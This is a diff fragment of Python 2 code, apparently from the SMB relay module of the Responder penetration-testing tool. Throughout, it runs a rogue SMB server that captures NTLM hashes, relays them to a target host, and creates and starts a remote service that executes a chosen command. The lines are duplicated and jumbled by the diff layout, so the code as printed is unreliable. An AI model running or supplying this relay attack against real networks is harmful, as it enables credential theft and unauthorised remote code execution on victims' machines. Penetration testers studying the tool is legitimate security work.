def ReadData(outfile,Client, User, cmd=None):
|
def ReadData(outfile,Client, User, cmd=None):
|
||||||
try:
|
try:
|
||||||
with open(ResponderPATH+outfile,"r") as filestr:
|
with open(ResponderPATH+outfile,"r") as filestr:
|
||||||
if cmd == None:
|
if cmd == None:
|
||||||
String = Client+':'+User
|
String = Client+':'+User
|
||||||
if re.search(String.encode('hex'), filestr.read().encode('hex')):
|
if re.search(String.encode('hex'), filestr.read().encode('hex')):
|
||||||
filestr.close()
|
filestr.close()
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
if cmd != None:
|
if cmd != None:
|
||||||
String = Client+","+User+","+cmd
|
String = Client+","+User+","+cmd
|
||||||
if re.search(String.encode('hex'), filestr.read().encode('hex')):
|
if re.search(String.encode('hex'), filestr.read().encode('hex')):
|
||||||
filestr.close()
|
filestr.close()
|
||||||
print "[+] Command: %s was previously executed on host: %s. Won't execute again.\n" %(cmd, Client)
|
print "[+] Command: %s was previously executed on host: %s. Won't execute again.\n" %(cmd, Client)
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
except:
|
except:
|
||||||
raise
|
raise
|
||||||
|
|
||||||
#Function used to parse SMB NTLMv1/v2
|
#Function used to parse SMB NTLMv1/v2
|
||||||
def ParseHash(data,Client, Target):
|
def ParseHash(data,Client, Target):
|
||||||
try:
|
try:
|
||||||
lenght = struct.unpack('<H',data[43:45])[0]
|
lenght = struct.unpack('<H',data[43:45])[0]
|
||||||
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
||||||
NthashLen = struct.unpack('<H',data[53:55])[0]
|
NthashLen = struct.unpack('<H',data[53:55])[0]
|
||||||
Bcc = struct.unpack('<H',data[63:65])[0]
|
Bcc = struct.unpack('<H',data[63:65])[0]
|
||||||
if NthashLen >= 30:
|
if NthashLen >= 30:
|
||||||
Hash = data[65+LMhashLen:65+LMhashLen+NthashLen]
|
Hash = data[65+LMhashLen:65+LMhashLen+NthashLen]
|
||||||
pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
|
pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
|
||||||
var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
|
var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
|
||||||
Username, Domain = tuple(var)
|
Username, Domain = tuple(var)
|
||||||
if ReadData("SMBRelay-Session.txt", Client, Username):
|
if ReadData("SMBRelay-Session.txt", Client, Username):
|
||||||
print "[+]Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
|
print "[+]Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
|
||||||
pass
|
pass
|
||||||
if Username in UserToRelay:
|
if Username in UserToRelay:
|
||||||
print '%s sent a NTLMv2 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
|
print '%s sent a NTLMv2 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
|
||||||
print "Username : ",Username
|
print "Username : ",Username
|
||||||
print "Domain (if joined, if not then computer name) : ",Domain
|
print "Domain (if joined, if not then computer name) : ",Domain
|
||||||
return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client
|
return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client
|
||||||
if NthashLen == 24:
|
if NthashLen == 24:
|
||||||
pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
|
pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
|
||||||
var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
|
var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
|
||||||
Username, Domain = tuple(var)
|
Username, Domain = tuple(var)
|
||||||
if ReadData("SMBRelay-Session.txt", Client, Username):
|
if ReadData("SMBRelay-Session.txt", Client, Username):
|
||||||
print "Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
|
print "Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
|
||||||
pass
|
pass
|
||||||
if Username in UserToRelay:
|
if Username in UserToRelay:
|
||||||
print '%s sent a NTLMv1 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
|
print '%s sent a NTLMv1 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
|
||||||
LMHashing = data[65:65+LMhashLen].encode('hex').upper()
|
LMHashing = data[65:65+LMhashLen].encode('hex').upper()
|
||||||
NTHashing = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
|
NTHashing = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
|
||||||
print "Username : ",Username
|
print "Username : ",Username
|
||||||
print "Domain (if joined, if not then computer name) : ",Domain
|
print "Domain (if joined, if not then computer name) : ",Domain
|
||||||
return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client
|
return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client
|
||||||
else:
|
else:
|
||||||
print "'%s' user was not specified in -u option, won't relay authentication. Allowed users to relay are: %s"%(Username,UserToRelay)
|
print "'%s' user was not specified in -u option, won't relay authentication. Allowed users to relay are: %s"%(Username,UserToRelay)
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
except Exception:
|
except Exception:
|
||||||
raise
|
raise
|
||||||
|
|
||||||
#Detect if SMB auth was Anonymous
|
#Detect if SMB auth was Anonymous
|
||||||
def Is_Anonymous(data):
|
def Is_Anonymous(data):
|
||||||
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
||||||
if LMhashLen == 0 or LMhashLen == 1:
|
if LMhashLen == 0 or LMhashLen == 1:
|
||||||
print "SMB Anonymous login requested, trying to force client to auth with credz."
|
print "SMB Anonymous login requested, trying to force client to auth with credz."
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def ParseDomain(data):
|
def ParseDomain(data):
|
||||||
Domain = ''.join(data[81:].split('\x00\x00\x00')[:1])+'\x00\x00\x00'
|
Domain = ''.join(data[81:].split('\x00\x00\x00')[:1])+'\x00\x00\x00'
|
||||||
@@ -175,71 +175,71 @@ def Parse_Nego_Dialect(data):
|
|||||||
var = [e.replace('\x00','') for e in DialectStart.split('\x02')[:10]]
|
var = [e.replace('\x00','') for e in DialectStart.split('\x02')[:10]]
|
||||||
test = tuple(var)
|
test = tuple(var)
|
||||||
if test[0] == "NT LM 0.12":
|
if test[0] == "NT LM 0.12":
|
||||||
return "\x00\x00"
|
return "\x00\x00"
|
||||||
if test[1] == "NT LM 0.12":
|
if test[1] == "NT LM 0.12":
|
||||||
return "\x01\x00"
|
return "\x01\x00"
|
||||||
if test[2] == "NT LM 0.12":
|
if test[2] == "NT LM 0.12":
|
||||||
return "\x02\x00"
|
return "\x02\x00"
|
||||||
if test[3] == "NT LM 0.12":
|
if test[3] == "NT LM 0.12":
|
||||||
return "\x03\x00"
|
return "\x03\x00"
|
||||||
if test[4] == "NT LM 0.12":
|
if test[4] == "NT LM 0.12":
|
||||||
return "\x04\x00"
|
return "\x04\x00"
|
||||||
if test[5] == "NT LM 0.12":
|
if test[5] == "NT LM 0.12":
|
||||||
return "\x05\x00"
|
return "\x05\x00"
|
||||||
if test[6] == "NT LM 0.12":
|
if test[6] == "NT LM 0.12":
|
||||||
return "\x06\x00"
|
return "\x06\x00"
|
||||||
if test[7] == "NT LM 0.12":
|
if test[7] == "NT LM 0.12":
|
||||||
return "\x07\x00"
|
return "\x07\x00"
|
||||||
if test[8] == "NT LM 0.12":
|
if test[8] == "NT LM 0.12":
|
||||||
return "\x08\x00"
|
return "\x08\x00"
|
||||||
if test[9] == "NT LM 0.12":
|
if test[9] == "NT LM 0.12":
|
||||||
return "\x09\x00"
|
return "\x09\x00"
|
||||||
if test[10] == "NT LM 0.12":
|
if test[10] == "NT LM 0.12":
|
||||||
return "\x0a\x00"
|
return "\x0a\x00"
|
||||||
|
|
||||||
def SmbRogueSrv139(key,Target,DomainMachineName):
|
def SmbRogueSrv139(key,Target,DomainMachineName):
|
||||||
s = socket(AF_INET,SOCK_STREAM)
|
s = socket(AF_INET,SOCK_STREAM)
|
||||||
s.setsockopt(SOL_SOCKET,SO_REUSEADDR, 1)
|
s.setsockopt(SOL_SOCKET,SO_REUSEADDR, 1)
|
||||||
s.settimeout(30)
|
s.settimeout(30)
|
||||||
try:
|
try:
|
||||||
s.bind(('0.0.0.0', 139))
|
s.bind(('0.0.0.0', 139))
|
||||||
s.listen(0)
|
s.listen(0)
|
||||||
conn, addr = s.accept()
|
conn, addr = s.accept()
|
||||||
except error, msg:
|
except error, msg:
|
||||||
if "Address already in use" in msg:
|
if "Address already in use" in msg:
|
||||||
print '\033[31m'+'Something is already listening on TCP 139, did you set SMB = Off in Responder.conf..?\nSMB Relay will not work.'+'\033[0m'
|
print '\033[31m'+'Something is already listening on TCP 139, did you set SMB = Off in Responder.conf..?\nSMB Relay will not work.'+'\033[0m'
|
||||||
|
|
||||||
try:
|
try:
|
||||||
while True:
|
while True:
|
||||||
data = conn.recv(1024)
|
data = conn.recv(1024)
|
||||||
##session request 139
|
##session request 139
|
||||||
if data[0] == "\x81":
|
if data[0] == "\x81":
|
||||||
buffer0 = "\x82\x00\x00\x00"
|
buffer0 = "\x82\x00\x00\x00"
|
||||||
conn.send(buffer0)
|
conn.send(buffer0)
|
||||||
##Negotiate proto answer.
|
##Negotiate proto answer.
|
||||||
if data[8:10] == "\x72\x00":
|
if data[8:10] == "\x72\x00":
|
||||||
head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x53\xc8",pid=pidcalc(data),tid=tidcalc(data))
|
head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x53\xc8",pid=pidcalc(data),tid=tidcalc(data))
|
||||||
t = SMBNegoAns(Dialect=Parse_Nego_Dialect(data),Key=key,Domain=DomainMachineName)
|
t = SMBNegoAns(Dialect=Parse_Nego_Dialect(data),Key=key,Domain=DomainMachineName)
|
||||||
t.calculate()
|
t.calculate()
|
||||||
packet1 = str(head)+str(t)
|
packet1 = str(head)+str(t)
|
||||||
buffer1 = longueur(packet1)+packet1
|
buffer1 = longueur(packet1)+packet1
|
||||||
conn.send(buffer1)
|
conn.send(buffer1)
|
||||||
##Session Setup AndX Request
|
##Session Setup AndX Request
|
||||||
if data[8:10] == "\x73\x00":
|
if data[8:10] == "\x73\x00":
|
||||||
if Is_Anonymous(data):
|
if Is_Anonymous(data):
|
||||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x03\xc8",errorcode="\x6d\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x03\xc8",errorcode="\x6d\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||||
packet1 = str(head)+str(SMBSessEmpty())
|
packet1 = str(head)+str(SMBSessEmpty())
|
||||||
buffer1 = longueur(packet1)+packet1
|
buffer1 = longueur(packet1)+packet1
|
||||||
conn.send(buffer1)
|
conn.send(buffer1)
|
||||||
else:
|
else:
|
||||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x03\xc8",errorcode="\x6d\x00\x00\xC0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x03\xc8",errorcode="\x6d\x00\x00\xC0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||||
packet1 = str(head)+str(SMBSessEmpty())#Return login fail anyways.
|
packet1 = str(head)+str(SMBSessEmpty())#Return login fail anyways.
|
||||||
buffer1 = longueur(packet1)+packet1
|
buffer1 = longueur(packet1)+packet1
|
||||||
conn.send(buffer1)
|
conn.send(buffer1)
|
||||||
Credz = ParseHash(data,addr[0],Target)
|
Credz = ParseHash(data,addr[0],Target)
|
||||||
return Credz
|
return Credz
|
||||||
except:
|
except:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
def RunRelay(host, Command,Domain):
|
def RunRelay(host, Command,Domain):
|
||||||
Target = host
|
Target = host
|
||||||
@@ -257,67 +257,67 @@ def RunRelay(host, Command,Domain):
|
|||||||
Key = ParseAnswerKey(data,host)
|
Key = ParseAnswerKey(data,host)
|
||||||
DomainMachineName = ParseDomain(data)
|
DomainMachineName = ParseDomain(data)
|
||||||
if data[8:10] == "\x72\x00":
|
if data[8:10] == "\x72\x00":
|
||||||
try:
|
try:
|
||||||
a = SmbRogueSrv139(Key,Target,DomainMachineName)
|
a = SmbRogueSrv139(Key,Target,DomainMachineName)
|
||||||
if a is not None:
|
if a is not None:
|
||||||
LMHash,NTHash,Username,OriginalDomain, CLIENTIP = a
|
LMHash,NTHash,Username,OriginalDomain, CLIENTIP = a
|
||||||
if Domain == None:
|
if Domain == None:
|
||||||
Domain = OriginalDomain
|
Domain = OriginalDomain
|
||||||
if ReadData("SMBRelay-Session.txt", Target, Username, CMD):
|
if ReadData("SMBRelay-Session.txt", Target, Username, CMD):
|
||||||
pass
|
pass
|
||||||
else:
|
else:
|
||||||
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x03\xc8",pid="\xff\xfe",mid="\x01\x00")
|
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x03\xc8",pid="\xff\xfe",mid="\x01\x00")
|
||||||
t = SMBSessionTreeData(AnsiPasswd=LMHash,UnicodePasswd=NTHash,Username=Username,Domain=Domain,Targ=Target)
|
t = SMBSessionTreeData(AnsiPasswd=LMHash,UnicodePasswd=NTHash,Username=Username,Domain=Domain,Targ=Target)
|
||||||
t.calculate()
|
t.calculate()
|
||||||
packet0 = str(head)+str(t)
|
packet0 = str(head)+str(t)
|
||||||
buffer1 = longueur(packet0)+packet0
|
buffer1 = longueur(packet0)+packet0
|
||||||
s.send(buffer1)
|
s.send(buffer1)
|
||||||
data = s.recv(2048)
|
data = s.recv(2048)
|
||||||
except:
|
except:
|
||||||
raise
|
raise
|
||||||
a = None
|
a = None
|
||||||
if data[8:10] == "\x73\x6d":
|
if data[8:10] == "\x73\x6d":
|
||||||
print "[+] Relay failed, auth denied. This user doesn't have an account on this target."
|
print "[+] Relay failed, auth denied. This user doesn't have an account on this target."
|
||||||
Logs.info(CLIENTIP+":"+Username)
|
Logs.info(CLIENTIP+":"+Username)
|
||||||
if data[8:10] == "\x73\x0d":
|
if data[8:10] == "\x73\x0d":
|
||||||
print "[+] Relay failed, SessionSetupAndX returned invalid parameter. It's most likely because both client and server are >=Windows Vista"
|
print "[+] Relay failed, SessionSetupAndX returned invalid parameter. It's most likely because both client and server are >=Windows Vista"
|
||||||
Logs.info(CLIENTIP+":"+Username)
|
Logs.info(CLIENTIP+":"+Username)
|
||||||
## NtCreateAndx
|
## NtCreateAndx
|
||||||
if data[8:10] == "\x73\x00":
|
if data[8:10] == "\x73\x00":
|
||||||
print "[+] Authenticated, trying to PSexec on target !"
|
print "[+] Authenticated, trying to PSexec on target !"
|
||||||
head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x03\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x03\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
t = SMBNTCreateData()
|
t = SMBNTCreateData()
|
||||||
t.calculate()
|
t.calculate()
|
||||||
packet0 = str(head)+str(t)
|
packet0 = str(head)+str(t)
|
||||||
buffer1 = longueur(packet0)+packet0
|
buffer1 = longueur(packet0)+packet0
|
||||||
s.send(buffer1)
|
s.send(buffer1)
|
||||||
data = s.recv(2048)
|
data = s.recv(2048)
|
||||||
## Fail Handling.
|
## Fail Handling.
|
||||||
if data[8:10] == "\xa2\x22":
|
if data[8:10] == "\xa2\x22":
|
||||||
print "[+] Exploit failed, NT_CREATE denied. SMB Signing mandatory or this user has no privileges on this workstation?"
|
print "[+] Exploit failed, NT_CREATE denied. SMB Signing mandatory or this user has no privileges on this workstation?"
|
||||||
## DCE/RPC Write.
|
## DCE/RPC Write.
|
||||||
if data[8:10] == "\xa2\x00":
|
if data[8:10] == "\xa2\x00":
|
||||||
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
x = SMBDCEData()
|
x = SMBDCEData()
|
||||||
x.calculate()
|
x.calculate()
|
||||||
f = data[42:44]
|
f = data[42:44]
|
||||||
t = SMBWriteData(FID=f,Data=x)
|
t = SMBWriteData(FID=f,Data=x)
|
||||||
t.calculate()
|
t.calculate()
|
||||||
packet0 = str(head)+str(t)
|
packet0 = str(head)+str(t)
|
||||||
buffer1 = longueur(packet0)+packet0
|
buffer1 = longueur(packet0)+packet0
|
||||||
s.send(buffer1)
|
s.send(buffer1)
|
||||||
data = s.recv(2048)
|
data = s.recv(2048)
|
||||||
## DCE/RPC Read.
|
## DCE/RPC Read.
|
||||||
if data[8:10] == "\x2f\x00":
|
if data[8:10] == "\x2f\x00":
|
||||||
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x05\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x05\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
t = SMBReadData(FID=f)
|
t = SMBReadData(FID=f)
|
||||||
t.calculate()
|
t.calculate()
|
||||||
packet0 = str(head)+str(t)
|
packet0 = str(head)+str(t)
|
||||||
buffer1 = longueur(packet0)+packet0
|
buffer1 = longueur(packet0)+packet0
|
||||||
s.send(buffer1)
|
s.send(buffer1)
|
||||||
data = s.recv(2048)
|
data = s.recv(2048)
|
||||||
## DCE/RPC SVCCTLOpenManagerW.
|
## DCE/RPC SVCCTLOpenManagerW.
|
||||||
if data[8:10] == "\x2e\x00":
|
if data[8:10] == "\x2e\x00":
|
||||||
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x03\x00")
|
w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x03\x00")
|
||||||
w.calculate()
|
w.calculate()
|
||||||
@@ -326,118 +326,118 @@ def RunRelay(host, Command,Domain):
|
|||||||
t = SMBWriteData(FID=f,Data=x)
|
t = SMBWriteData(FID=f,Data=x)
|
||||||
t.calculate()
|
t.calculate()
|
||||||
packet0 = str(head)+str(t)
|
packet0 = str(head)+str(t)
|
||||||
buffer1 = longueur(packet0)+packet0
|
buffer1 = longueur(packet0)+packet0
|
||||||
s.send(buffer1)
|
s.send(buffer1)
|
||||||
data = s.recv(2048)
|
data = s.recv(2048)
|
||||||
## DCE/RPC Read Answer.
|
## DCE/RPC Read Answer.
|
||||||
if data[8:10] == "\x2f\x00":
|
if data[8:10] == "\x2f\x00":
|
||||||
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
t = SMBReadData(FID=f)
|
t = SMBReadData(FID=f)
|
||||||
t.calculate()
|
t.calculate()
|
||||||
packet0 = str(head)+str(t)
|
packet0 = str(head)+str(t)
|
||||||
buffer1 = longueur(packet0)+packet0
|
buffer1 = longueur(packet0)+packet0
|
||||||
s.send(buffer1)
|
s.send(buffer1)
|
||||||
data = s.recv(2048)
|
data = s.recv(2048)
|
||||||
## DCE/RPC SVCCTLCreateService.
|
## DCE/RPC SVCCTLCreateService.
|
||||||
if data[8:10] == "\x2e\x00":
|
if data[8:10] == "\x2e\x00":
|
||||||
if data[len(data)-4:] == "\x05\x00\x00\x00":
|
if data[len(data)-4:] == "\x05\x00\x00\x00":
|
||||||
print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?"
|
print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?"
|
||||||
print "[+] Creating service"
|
print "[+] Creating service"
|
||||||
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
ContextHandler = data[88:108]
|
ContextHandler = data[88:108]
|
||||||
ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)])
|
ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)])
|
||||||
ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)])
|
ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)])
|
||||||
FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat'
|
FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat'
|
||||||
w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,ReferentID="\x21\x03\x03\x00",BinCMD=CMD)
|
w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,ReferentID="\x21\x03\x03\x00",BinCMD=CMD)
|
||||||
w.calculate()
|
w.calculate()
|
||||||
x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w)
|
x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w)
|
||||||
x.calculate()
|
x.calculate()
|
||||||
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
|
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
|
||||||
t.calculate()
|
t.calculate()
|
||||||
packet0 = str(head)+str(t)
|
packet0 = str(head)+str(t)
|
||||||
buffer1 = longueur(packet0)+packet0
|
buffer1 = longueur(packet0)+packet0
|
||||||
s.send(buffer1)
|
s.send(buffer1)
|
||||||
data = s.recv(2048)
|
data = s.recv(2048)
|
||||||
## DCE/RPC Read Answer.
|
## DCE/RPC Read Answer.
|
||||||
if data[8:10] == "\x2f\x00":
|
if data[8:10] == "\x2f\x00":
|
||||||
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
|
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
|
||||||
t.calculate()
|
|
||||||
packet0 = str(head)+str(t)
|
|
||||||
buffer1 = longueur(packet0)+packet0
|
|
||||||
s.send(buffer1)
|
|
||||||
data = s.recv(2048)
|
|
||||||
## DCE/RPC SVCCTLOpenService.
|
|
||||||
if data[8:10] == "\x2e\x00":
|
|
||||||
if data[len(data)-4:] == "\x05\x00\x00\x00":
|
|
||||||
print "[+] Failed to create the service"
|
|
||||||
|
|
||||||
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
|
||||||
w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars)
|
|
||||||
w.calculate()
|
|
||||||
x = SMBDCEPacketData(Opnum="\x10\x00",Data=w)
|
|
||||||
x.calculate()
|
|
||||||
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
|
|
||||||
t.calculate()
|
t.calculate()
|
||||||
packet0 = str(head)+str(t)
|
packet0 = str(head)+str(t)
|
||||||
buffer1 = longueur(packet0)+packet0
|
buffer1 = longueur(packet0)+packet0
|
||||||
s.send(buffer1)
|
s.send(buffer1)
|
||||||
data = s.recv(2048)
|
data = s.recv(2048)
|
||||||
## DCE/RPC Read Answer.
|
## DCE/RPC SVCCTLOpenService.
|
||||||
if data[8:10] == "\x2f\x00":
|
if data[8:10] == "\x2e\x00":
|
||||||
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
if data[len(data)-4:] == "\x05\x00\x00\x00":
|
||||||
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
|
print "[+] Failed to create the service"
|
||||||
t.calculate()
|
|
||||||
packet0 = str(head)+str(t)
|
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
buffer1 = longueur(packet0)+packet0
|
w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars)
|
||||||
s.send(buffer1)
|
w.calculate()
|
||||||
data = s.recv(2048)
|
x = SMBDCEPacketData(Opnum="\x10\x00",Data=w)
|
||||||
## DCE/RPC SVCCTLStartService.
|
x.calculate()
|
||||||
if data[8:10] == "\x2e\x00":
|
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
|
||||||
if data[len(data)-4:] == "\x05\x00\x00\x00":
|
t.calculate()
|
||||||
print "[+] Failed to open the service"
|
packet0 = str(head)+str(t)
|
||||||
ContextHandler = data[88:108]
|
buffer1 = longueur(packet0)+packet0
|
||||||
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
s.send(buffer1)
|
||||||
w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler)
|
data = s.recv(2048)
|
||||||
x = SMBDCEPacketData(Opnum="\x13\x00",Data=w)
|
## DCE/RPC Read Answer.
|
||||||
x.calculate()
|
if data[8:10] == "\x2f\x00":
|
||||||
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
|
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
t.calculate()
|
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
|
||||||
packet0 = str(head)+str(t)
|
t.calculate()
|
||||||
buffer1 = longueur(packet0)+packet0
|
packet0 = str(head)+str(t)
|
||||||
s.send(buffer1)
|
buffer1 = longueur(packet0)+packet0
|
||||||
data = s.recv(2048)
|
s.send(buffer1)
|
||||||
## DCE/RPC Read Answer.
|
data = s.recv(2048)
|
||||||
if data[8:10] == "\x2f\x00":
|
## DCE/RPC SVCCTLStartService.
|
||||||
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
if data[8:10] == "\x2e\x00":
|
||||||
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
|
if data[len(data)-4:] == "\x05\x00\x00\x00":
|
||||||
t.calculate()
|
print "[+] Failed to open the service"
|
||||||
packet0 = str(head)+str(t)
|
ContextHandler = data[88:108]
|
||||||
buffer1 = longueur(packet0)+packet0
|
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
s.send(buffer1)
|
w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler)
|
||||||
data = s.recv(2048)
|
x = SMBDCEPacketData(Opnum="\x13\x00",Data=w)
|
||||||
if data[8:10] == "\x2e\x00":
|
x.calculate()
|
||||||
print "[+] Command successful !"
|
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
|
||||||
Logs.info('Command successful:')
|
t.calculate()
|
||||||
Logs.info(Target+","+Username+','+CMD)
|
packet0 = str(head)+str(t)
|
||||||
return True
|
buffer1 = longueur(packet0)+packet0
|
||||||
